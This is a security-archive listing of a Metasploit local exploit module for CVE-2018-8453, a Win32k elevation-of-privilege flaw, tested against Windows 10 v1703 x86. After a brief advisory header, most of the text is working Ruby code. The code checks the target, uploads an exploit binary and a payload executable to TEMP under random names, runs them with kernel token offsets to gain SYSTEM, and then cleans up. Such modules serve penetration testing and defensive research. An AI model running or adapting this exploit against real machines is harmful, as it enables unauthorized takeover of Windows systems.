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Microsoft Windows NtUserSetWindowFNID Win32k User Callback

Microsoft Windows NtUserSetWindowFNID Win32k User Callback
Posted Jul 16, 2019
Authored by ze0r, Jacob Robles, Kaspersky Lab | Site metasploit.com

An elevation of privilege vulnerability exists in Microsoft Windows when the Win32k component fails to properly handle objects in memory. This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers. This Metasploit module is tested against Windows 10 v1703 x86.

tags | exploit, x86
systems | windows
advisories | CVE-2018-8453
SHA-256 | b12d041b74805140215567e34bac24168770da5ed39aeeca4562c66332b7d517

Microsoft Windows NtUserSetWindowFNID Win32k User Callback

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Windows NtUserSetWindowFNID Win32k User Callback',
'Description' => %q{
An elevation of privilege vulnerability exists in Windows when the Win32k component
fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability."
This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows
Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,
Windows 10, Windows 10 Servers.

This module is tested against Windows 10 v1703 x86.
},
'License' => MSF_LICENSE,
'Author' => [
'ze0r', # Exploit analysis and PoC
'Kaspersky Lab', # Vulnerability discovery/detection
'Jacob Robles' # Metasploit module
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 10 v1703 (Build 15063) x86', {
'UniqueProcessIdOffset' => 180,
'TokenOffset' => 252,
'Version' => 'Windows 10 (Build 15063)'
}
]
],
'References' => [
['CVE', '2018-8453'],
['URL', 'https://github.com/ze0r/cve-2018-8453-exp'],
['URL', 'https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig'],
['URL', 'https://mp.weixin.qq.com/s/dcbUeegM0BqErtDufOXfoQ'],
['URL', 'https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453']
],
'Notes' => {
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
'Stability' => [CRASH_OS_RESTARTS]
},
'DisclosureDate' => '2018-10-09',
'DefaultTarget' => 0
))
end

def target_info
fail_with(Failure::None, 'Session is already elevated') if is_system?

unless sysinfo['OS'].start_with?(target['Version']) && sysinfo['Architecture'] == 'x86'
fail_with(Failure::NoTarget, 'Target is not compatible with exploit')
end
end

def write_file_to_target(fname, data)
tempdir = session.sys.config.getenv('TEMP')
file_loc = "#{tempdir}\\#{fname}"
vprint_warning("Attempting to write #{fname} to #{tempdir}")
write_file(file_loc, data)
vprint_good("#{fname} written")
file_loc
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
end

def exploit
target_info
exe_name = 'CVE-2018-8453.exe'
exe_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8453', exe_name)
vprint_status("Reading payload from file #{exe_path}")
raw = File.read(exe_path)

tmp_exe = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
vprint_status("Uploading exploit exe as: #{tmp_exe}")
exe_rpath = write_file_to_target(tmp_exe, raw)
register_file_for_cleanup(exe_rpath)

tmp_payload = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
payload_rpath = write_file_to_target(tmp_payload, generate_payload_exe)
vprint_status("Uploading payload #{tmp_payload}")
register_file_for_cleanup(payload_rpath)

command = "\"#{exe_rpath}\" \"#{payload_rpath}\" #{target['UniqueProcessIdOffset']} #{target['TokenOffset']}"

vprint_status("Executing command: #{command}")
session.sys.process.execute(command, nil, {'Hidden' => false})
print_good('Exploit finished, wait for privileged payload execution to complete.')
end
end
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